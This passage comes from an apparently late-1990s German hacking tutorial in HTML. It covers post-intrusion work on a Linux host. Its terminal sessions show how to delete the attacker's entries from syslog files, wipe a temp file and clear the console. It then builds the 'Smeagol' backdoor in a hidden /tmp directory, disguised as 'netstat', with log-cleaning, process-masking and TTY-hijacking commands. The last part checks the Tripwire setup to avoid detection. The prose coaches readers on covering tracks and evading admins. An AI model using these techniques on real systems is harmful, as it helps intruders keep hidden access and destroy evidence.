  1509. <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1510. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jun 14 11:29
  1511. .</font>
  1512. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1513. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1871 Jul&nbsp; 7 09:04
  1514. boot.msg</font>
  1515. <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1516. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 519707 Jul&nbsp; 7 09:04 warn</font>
  1517. <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1518. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 15842 Jul&nbsp; 7 09:04
  1519. mail</font>
  1520. <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1521. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 24 Jul&nbsp;
  1522. 7 13:42 faillog</font>
  1523. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1524. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 16096 Jul&nbsp; 7 13:42
  1525. lastlog</font>
  1526. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1527. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 92454 Jul&nbsp; 7 13:42
  1528. messages</font>
  1529. <br><font color="#FF0000">-rw-rw-r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1530. tty&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 207984 Jul&nbsp; 7 13:42
  1531. wtmp</font>
  1532. <br><font color="#FF0000">bash# grep source.ass *</font>
  1533. <br><font color="#FF0000">messages: Jul&nbsp; 7 13:42:39 wallace in.telnetd[401]:
  1534. connect from source.ass.com</font>
  1535. <br><font color="#FF0000">bash# fuser messages</font>
  1536. <br><font color="#FF0000">messages:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1537. 85</font>
  1538. <br><font color="#FF0000">bash# ps aux 85</font>
  1539. <br><font color="#FF0000">&nbsp;&nbsp;&nbsp; USER&nbsp;&nbsp; PID %CPU
  1540. %MEM&nbsp;&nbsp; VSZ&nbsp;&nbsp; RSS&nbsp; TT STAT&nbsp; START&nbsp;&nbsp;
  1541. TIME COMMAND</font>
  1542. <br><font color="#FF0000">root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1543. 85&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0.0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1544. 0.8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 836&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1545. 196&nbsp;&nbsp; ?&nbsp;&nbsp;&nbsp; S&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1546. 09:04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0:00&nbsp;&nbsp;&nbsp; /usr/sbin/syslogd</font>
  1547. <br><font color="#FF0000">bash# grep in.rlogind *</font>
  1548. <br><font color="#FF0000">messages: Jul&nbsp; 7 13:41:56 wallace in.rlogind[384]:
  1549. connect from johnny@victim.domain.com</font>
  1550. <br><font color="#FF0000">bash# grep -v source.ass.com messages > m</font>
  1551. <br><font color="#FF0000">bash# grep -v "Jul&nbsp; 7 13:41:56" m > messages</font>
  1552. <br><font color="#FF0000">bash# cat /dev/zero > m</font>
  1553. <br><font color="#FF0000">^C</font>
  1554. <br><font color="#FF0000">bash# rm m</font>
  1555. <br><font color="#FF0000">bash# ls -altr</font>
  1556. <br><font color="#FF0000">total 838</font>
  1557. <br><font color="#FF0000">drwxr-xr-x&nbsp; 20 root&nbsp;&nbsp;&nbsp;&nbsp;
  1558. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 19:58
  1559. ..</font>
  1560. <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1561. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1562. 0 May 28 21:01 news</font>
  1563. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1564. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 199 May 28 21:12
  1565. httpd.error_log</font>
  1566. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1567. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1568. 0 May 28 21:14 httpd.access_log</font>
  1569. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1570. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3925 May 28 21:53
  1571. Config.bootup</font>
  1572. <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1573. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jun 14 11:29
  1574. .</font>
  1575. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1576. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1871 Jul&nbsp; 7 09:04
  1577. boot.msg</font>
  1578. <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1579. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 519707 Jul&nbsp; 7 09:04 warn</font>
  1580. <br><font color="#FF0000">-rw-r-----&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1581. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 15842 Jul&nbsp; 7 09:04
  1582. mail</font>
  1583. <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1584. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 24 Jul&nbsp;
  1585. 7 13:42 faillog</font>
  1586. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1587. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 16096 Jul&nbsp; 7 13:42
  1588. lastlog</font>
  1589. <br><font color="#FF0000">-rw-rw-r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1590. tty&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 207984 Jul&nbsp; 7 13:42
  1591. wtmp</font>
  1592. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1593. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 92502 Jul&nbsp; 7 13:49
  1594. messages</font>
  1595. <p><font color="#000000">Hier haben wir uns die Syslog-Files nochmal genauer
  1596. angesehen und unsere Spuren verwischt.</font>
  1597. <br><font color="#000000">Mit <b>fuser</b> kannst du unter anderem die
  1598. PID des Processes feststellen, welcher ein bestimmte Datei benutzt.</font>
  1599. <br><font color="#000000">In diesem Fall gehoert, wie zu erwarten, die
  1600. PID 85 zu <b>syslogd</b>. Wir benoetigen die PID um <b>syslogd</b> das
  1601. HUP-Signal zu senden, welches <b>syslogd</b> veranlasst die Logfiles neu
  1602. zu oeffnen. Dies ist noetig, weil <b>syslogd</b> sonst einen <i>Inode </i>benutzt
  1603. zu dem es kein File mehr, in unserem Fall </font><font color="#33FF33">messages</font><font color="#000000">,
  1604. im Verz.</font><font color="#33FF33"> /var/log</font><font color="#000000">
  1605. existiert.</font>
  1606. <br><font color="#000000">Das Dumme an der Sache ist nur, dass <b>syslogd</b>
  1607. eine Restart-Message in die Logfiles schreibt.</font>
  1608. <br><font color="#000000">Jetzt fragst du dich sicherlich: "Warum erzaehlt
  1609. der Typ mir den ganzen Gammel und macht es dann selbst nicht?"</font>
  1610. <br><font color="#000000">Die Antwort ist einfach: Wir erzeugen keinen
  1611. neuen <i>Inode </i>indem wir die Daten kopieren und nicht moven. Somit
  1612. vermeiden wir zusaetzlich die Restart-Message von <b>syslogd</b>.</font>
  1613. <br><font color="#000000">Wenn <b>syslogd</b> wichtige Logs zur Console
  1614. oder zu einem TTY schreibt (s. </font><font color="#33FF33">/etc/syslog.conf</font><font color="#000000">),
  1615. dann kannst du mit:</font>
  1616. <br><font color="#FF0000">bash# yes " " > /dev/console</font>
  1617. <br><font color="#FF0000">^C</font>
  1618. <br><font color="#000000">den Bildschirm loeschen.</font>
  1619. <br><font color="#000000">Wenn Logs auf einem Printer</font> ausgedruckt
  1620. werden, dann sieht's relativ schlecht aus. Entweder hoffst du, dass das
  1621. Papier/das Farbband leer war oder, dass der Admin es nicht sieht. ;)
  1622. <br>Es ist mit einiger Wahrscheinlichkeit auch moeglich das Papier um einige
  1623. Zeile zurueckzuschieben und deine Entries mehrmals mit anderen Kram zu
  1624. ueberschreiben. Ich hab's noch nie ausprobiert und ueberlasse es deiner
  1625. Phantasie und deinem Koennen das Problem zu loesen.
  1626. <br>Mehr 'Glueck' hat man da schon, wenn die Daten auf einen extra Loghost
  1627. gehen (du kannst nur beten, das sie nicht einfach eine Serielle-Verbindung
  1628. benutzen); den du dann natuerlich hacken musst; oder es besser sein laesst,
  1629. weil du dadurch nur die Aufmerksamkeit der Admins auf dich ziehst.
  1630. <br>Die ganz paranoiden unter euch (was nicht unbedingt schlecht ist) sollten
  1631. noch <b>identd</b> ersetzen; der TCP-Wrapper, Firewalls, etc benutzen <b>identd</b>
  1632. um den Usernamen auf dem Remote Host zu eruieren.
  1633. <p><font color="#FF0000">bash# cd /tmp/".. "</font>
  1634. <br><font color="#FF0000">bash# tar xf smeagol_v4.4.4.tar</font>
  1635. <br><font color="#FF0000">bash# cd V4.4.4</font>
  1636. <br><font color="#FF0000">bash# make</font>
  1637. <br><font color="#FF0000">cp smeagol.h.gen smeagol.h</font>
  1638. <br><font color="#FF0000">make -f Makefile.gen</font>
  1639. <br><font color="#FF0000">make[1]: Entering directory `/tmp/.. /V4.4.4'</font>
  1640. <br><font color="#FF0000">cc&nbsp; -c cmds.c</font>
  1641. <br><font color="#FF0000">cc -DGENERIC -c remove.c</font>
  1642. <br><font color="#FF0000">cc -c stdnet.c error.c</font>
  1643. <br><font color="#FF0000">cc&nbsp; -c smeagol.c</font>
  1644. <br><font color="#FF0000">cc -c tty-intruder.c</font>
  1645. <br><font color="#FF0000">cc -c auth.c</font>
  1646. <br><font color="#FF0000">cc&nbsp; -c ah.c</font>
  1647. <br><font color="#FF0000">cc -c strhide.c</font>
  1648. <br><font color="#FF0000">cc -O2 -o smeagol cmds.o remove.o stdnet.o error.o
  1649. smeagol.o tty-intruder.o auth.o ah.o strhide.o</font>
  1650. <br><font color="#FF0000">strip smeagol</font>
  1651. <br><font color="#FF0000">make[1]: Leaving directory `/tmp/.. /V4.4.4'</font>
  1652. <br><font color="#FF0000">bash# mv smeagol "netstat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1653. "</font>
  1654. <br><font color="#FF0000">bash# ./netstat*</font>
  1655. <br><font color="#FF0000">LOCK&lt;-KEY:</font>
  1656. <br><font color="#FF0000">bash# telnet</font>
  1657. <br><font color="#FF0000">telnet> o localhost 1524</font>
  1658. <br><font color="#FF0000">Trying 127.0.0.1...</font>
  1659. <br><font color="#FF0000">Connected to localhost.</font>
  1660. <br><font color="#FF0000">Escape character is '^]'.</font>
  1661. <p><font color="#FF0000">hixer</font>
  1662. <p><font color="#FF0000"><font size=+4>WELCOME</font></font>
  1663. <br><font color="#FF0000"><font size=+4>CYBERSPAWN</font></font>
  1664. <br>&nbsp;
  1665. <p><font color="#FF0000">[/] Simon says: helpme</font>
  1666. <br><font color="#FF0000">bye&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1667. :&nbsp; close Session</font>
  1668. <br><font color="#FF0000">remove &lt;user>&nbsp;&nbsp;&nbsp;&nbsp; :&nbsp;
  1669. starts Simple Nomad's LogCleaner</font>
  1670. <br><font color="#FF0000">maskas &lt;user>&nbsp;&nbsp;&nbsp; :&nbsp;&nbsp;
  1671. mask Process with EUID of &lt;user></font>
  1672. <br><font color="#FF0000">cd &lt;direc>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1673. :&nbsp; make a chdir() call</font>
  1674. <br><font color="#FF0000">ttyhij &lt;tty>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1675. :&nbsp; hijack a TTY session</font>
  1676. <br><font color="#FF0000">accth&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1677. :&nbsp; Start Zhart's Acct Handler (not available)</font>
  1678. <br><font color="#FF0000">helpme&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1679. :&nbsp; You guessed it right...</font>
  1680. <p><font color="#FF0000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1681. Smeagol was written by</font>
  1682. <br><font color="#FF0000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1683. TICK</font>
  1684. <br>&nbsp;
  1685. <p><font color="#FF0000">[/] Simon says: bye</font>
  1686. <br><font color="#FF0000">Bye</font>
  1687. <br>&nbsp;
  1688. <p><font color="#FF0000">Connection closed by foreign host.</font>
  1689. <br><font color="#FF0000">bash#</font>
  1690. <p><font color="#000000">Um uns den Remote-Zugang zum System zu erhalten
  1691. benutzen wir einen Backdoor-Server.</font>
  1692. <br><font color="#000000">Falls ich einen Backdoor-Server verwende benutze
  1693. ich meinen eigenen. </font>Smeagol&nbsp; ist sehr gut darin seine Existenz
  1694. <br>zu verschleiern aber leider laeuft er bisher nur auf AIX und Linux.
  1695. Fuer andere Systeme koennen z.B. simple Perl-Backdoors benutzt werden oder
  1696. portiere Smeagol einfach zu 'nem anderen Unix-Derivat und sende mir dann
  1697. bitte deine Version.
  1698. <br>Nunja, am Betsen ist es natuerlich ein Backdoor-LKM zu verwenden, aber
  1699. es ist schwer an die noetigen Informationen fuer die verschieden Unix-Abkoemmlinge
  1700. zu gelangen - frag' mal in den News rum.
  1701. <br>Es ist sehr wichtig, dass du vor der Installation den genauen Pfad
  1702. zu den Logfiles, das Passwort und die richtigen Namen fuer die Daemons,
  1703. fuer die sich Smeagol ausgeben soll, angibst. Falls auf dem System das
  1704. <i>Process-Accounting
  1705. </i>aktiviert
  1706. worden ist musst du auch dafuer die entsprechenden Aenderungen im Source-Code
  1707. und im Makefile machen.
  1708. <br>Zum Aendern der verschluesselten Strings solltest du <b>convert</b>
  1709. benutzen. Als XOR-Value (F1) musst du den Default-XOR-Wert angeben, der
  1710. als Define in 'strhide.h' verwendet wird. Der Output muss gefixt werden
  1711. (F3).
  1712. <br>Ich habe Smeagol nach <font color="#000000">"netstat&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
  1713. " ge'movet um argv[0] gross genug zu machen, damit beim Ueberschreiben
  1714. der Process-Tableeintraege nicht die hinteren Buchstaben abgeschnitten
  1715. werden, und desweiteren sieht der Aufruf von <b>netstat</b> ungefaehrlicher
  1716. aus als der Aufruf von <b>smeagol </b>- spez. beim Proc-Acct.</font>
  1717. <p><font color="#FF0000">bash# cd /var/cron/tabs</font>
  1718. <br><font color="#FF0000">bash# ls -al</font>
  1719. <br><font color="#FF0000">&nbsp;total 3</font>
  1720. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1721. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 25 11:56
  1722. ./</font>
  1723. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 3 root&nbsp;&nbsp;&nbsp;&nbsp;
  1724. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 May 28 20:57
  1725. ../</font>
  1726. <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;
  1727. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 258 Jan 25 11:56
  1728. root</font>
  1729. <br><font color="#FF0000">bash# cat root</font>
  1730. <br><font color="#FF0000"># DO NOT EDIT THIS FILE - edit the master and
  1731. reinstall.</font>
  1732. <br><font color="#FF0000"># (/tmp/crontab.326 installed on Sat Jul 25 11:56:24
  1733. 1998)</font>
  1734. <br><font color="#FF0000"># (Cron version -- $Id: crontab.c,v 2.13 1994/01/17
  1735. 03:20:37 vixie Exp $)</font>
  1736. <br><font color="#FF0000">#</font>
  1737. <br><font color="#FF0000"># run Tripwire at 3.00 pm every day</font>
  1738. <br><font color="#FF0000">00 15 * * * (/root/bin/runtw)</font>
  1739. <br><font color="#FF0000">bash# cd /root/bin</font>
  1740. <br><font color="#FF0000">bash# file runtw</font>
  1741. <br><font color="#FF0000">runtw: Bourne shell script text</font>
  1742. <br><font color="#FF0000">bash# cat runtw</font>
  1743. <br><font color="#FF0000">#!/bin/sh</font>
  1744. <br><font color="#FF0000">/bin/mount -r -t ext2 -v /dev/fd0 /fd0/tripwire
  1745. || exit 1</font>
  1746. <br><font color="#FF0000">/fd0/tripwire/bin/tripwire</font>
  1747. <br><font color="#FF0000">/bin/umount /dev/fd0</font>
  1748. <p><font color="#FF0000">exit 0</font>
  1749. <br><font color="#FF0000">bash# mount -t ext2 /dev/fd0 /mnt</font>
  1750. <br><font color="#FF0000">mount: block device /dev/fd0 is write-protected,
  1751. mounting read-only</font>
  1752. <br><font color="#FF0000">/dev/fd0 on /mnt type ext2 (ro)</font>
  1753. <br><font color="#FF0000">bash# cd /mash# cd /mnt</font>
  1754. <br><font color="#FF0000">bash# ls -al</font>
  1755. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
  1756. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
  1757. 1997 .</font>
  1758. <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 4 root&nbsp;&nbsp;&nbsp;&nbsp;
  1759. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
  1760. 1997 ..</font>
  1761. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1762. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:40
  1763. Config</font>
  1764. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1765. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:34
  1766. Databases</font>
  1767. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1768. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:57
  1769. bin</font>
  1770. <br><font color="#FF0000">bash# ls -alR .</font>
  1771. <br><font color="#FF0000">total 5</font>
  1772. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
  1773. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
  1774. 1997 .</font>
  1775. <br><font color="#FF0000">drwxr-xr-x&nbsp;&nbsp; 4 root&nbsp;&nbsp;&nbsp;&nbsp;
  1776. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
  1777. 1997 ..</font>
  1778. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1779. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:40
  1780. Config</font>
  1781. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1782. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:34
  1783. Databases</font>
  1784. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1785. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:57
  1786. bin</font>
  1787. <p><font color="#FF0000">Config:</font>
  1788. <br><font color="#FF0000">total 4</font>
  1789. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1790. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:40
  1791. .</font>
  1792. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
  1793. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
  1794. 1997 ..</font>
  1795. <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1796. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 387 Jul 23 13:34
  1797. tw.config</font>
  1798. <br><font color="#FF0000">-rw-------&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1799. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 387 Jul 23 13:40
  1800. tw.config.bak</font>
  1801. <p><font color="#FF0000">Databases:</font>
  1802. <br><font color="#FF0000">total 2</font>
  1803. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1804. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:34
  1805. .</font>
  1806. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
  1807. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
  1808. 1997 ..</font>
  1809. <p><font color="#FF0000">bin:</font>
  1810. <br><font color="#FF0000">total 425</font>
  1811. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 2 root&nbsp;&nbsp;&nbsp;&nbsp;
  1812. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 23 13:57
  1813. .</font>
  1814. <br><font color="#FF0000">drwx------&nbsp;&nbsp; 5 root&nbsp;&nbsp;&nbsp;&nbsp;
  1815. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1024 Jul 29&nbsp;
  1816. 1997 ..</font>
  1817. <br><font color="#FF0000">-rwxr-xr-x&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1818. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 128745 Jul 23 13:45 tripwire</font>
  1819. <br><font color="#FF0000">-rw-r--r--&nbsp;&nbsp; 1 root&nbsp;&nbsp;&nbsp;&nbsp;
  1820. root&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 299814 Jul 29&nbsp; 1997 tripwire-1.2.tar.gz</font>
  1821. <br><font color="#FF0000">bash# cd Config</font>
  1822. <br><font color="#FF0000">bash# cat tw.config</font>
  1823. <br><font color="#FF0000"># Check root's binaries</font>
  1824. <br><font color="#FF0000">/root/bin</font>
  1825. <p><font color="#FF0000"># Check TripWire's Database-, Config- and TAR-File</font>
  1826. <br><font color="#FF0000">/fd0/tripwire</font>
  1827. <p><font color="#FF0000"># Check System-Files and -Binaries</font>
  1828. <br><font color="#FF0000">/etc/passwd</font>
  1829. <br><font color="#FF0000">/etc/skel</font>
  1830. <br><font color="#FF0000">/etc/aliases</font>
  1831. <br><font color="#FF0000">/etc/exports</font>
  1832. <br><font color="#FF0000">/etc/fstab</font>
  1833. <br><font color="#FF0000">/etc/ftpusers</font>
  1834. <br><font color="#FF0000">/etc/group</font>
  1835. <br><font color="#FF0000">/etc/hosts</font>
  1836. <br><font color="#FF0000">/etc/inetd.conf</font>
  1837. <br><font color="#FF0000">/etc/inittab</font>
  1838. <br><font color="#FF0000">/etc/lilo.conf</font>
  1839. <br><font color="#FF0000">/etc/profile</font>
  1840. <br><font color="#FF0000">/etc/sendmail.cf</font>
  1841. <br><font color="#FF0000">/etc/sudoers</font>
  1842. <br><font color="#FF0000">/etc/syslog.conf</font>
  1843. <br><font color="#FF0000">/bin</font>
  1844. <br><font color="#FF0000">/usr/bin</font>
  1845. <br><font color="#FF0000">/usr/local/bin</font>
  1846. <br><font color="#FF0000">bash#</font>
  1847. <p><font color="#000000">Bevor wir irgendwelche Files ersetzen oder aendern
  1848. sollten wir ueberpruefen ob die Admins einen Integry-Checker zum Schutz
  1849. vor Trojan-Horses etc. einsetzen. Auf diesem Rechner ist das der Fall.
  1850. Grundsaetzlich kann ich nur sagen, dass du niemals so sicherheitsrelevante
  1851. Files, wie z.B. '/etc/passwd' oder '/etc/inetd.conf', veraendern solltest;
  1852. egal wie clever du vorgehst, die Admins werden es immer entdecken und meistens
  1853. eher frueher als spaeter. Dasselbe gilt fuer SUID-Shells. Ich kann auch
  1854. nur davon abraten die Tripwire-DB zu manipulieren, was in diesem Fall auch
  1855. garnicht moeglich ist, da sich die DB auf 'ner write-protected Floppy befindet.</font>
  1856. <br><font color="#000000">Natuerlich koenntest du fuer Linux die weit verbreiteten
